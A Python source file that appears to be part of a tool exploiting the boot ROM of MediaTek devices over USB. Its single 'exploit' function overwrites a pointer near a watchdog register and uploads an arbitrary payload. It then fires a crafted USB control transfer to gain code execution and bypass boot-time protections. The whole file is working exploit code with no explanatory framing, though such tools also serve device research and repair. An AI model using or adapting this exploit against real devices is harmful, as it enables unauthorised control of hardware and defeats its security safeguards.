from src.common import to_bytes, from_bytes
from serial.serialutil import SerialException

import usb


def exploit(device, watchdog_address, payload_address, var_0, var_1, payload):
    addr = watchdog_address + 0x50

    device.write32(addr, from_bytes(to_bytes(payload_address, 4), 4, '<'))
    if var_0:
        readl = var_0 + 0x4
        device.read32(addr - var_0, readl // 4)
    else:
        cnt = 15
        for i in range(cnt):
            device.read32(addr - (cnt - i) * 4, cnt - i + 1)

    device.echo(0xE0)

    device.echo(len(payload), 4)

    status = device.read(2)
    if from_bytes(status, 2) != 0:
        raise RuntimeError("status is {}".format(status.hex()))

    device.write(payload)

    # clear 4 bytes
    device.read(4)

    udev = usb.core.find(idVendor=0x0E8D, idProduct=0x3)

    try:
        # noinspection PyProtectedMember
        udev._ctx.managed_claim_interface = lambda *args, **kwargs: None
    except AttributeError as e:
        raise RuntimeError("libusb is not installed for port {}".format(device.dev.port)) from e

    try:
        udev.ctrl_transfer(0xA1, 0, 0, var_1, 0)
    except usb.core.USBError as e:
        print(e)

    # We don't need to wait long, if we succeeded
    # noinspection PyBroadException
    try:
        device.dev.timeout = 1
    except Exception:
        pass

    try:
        pattern = device.read(4)
    except SerialException as e:
        print(e)
        return False

    return pattern
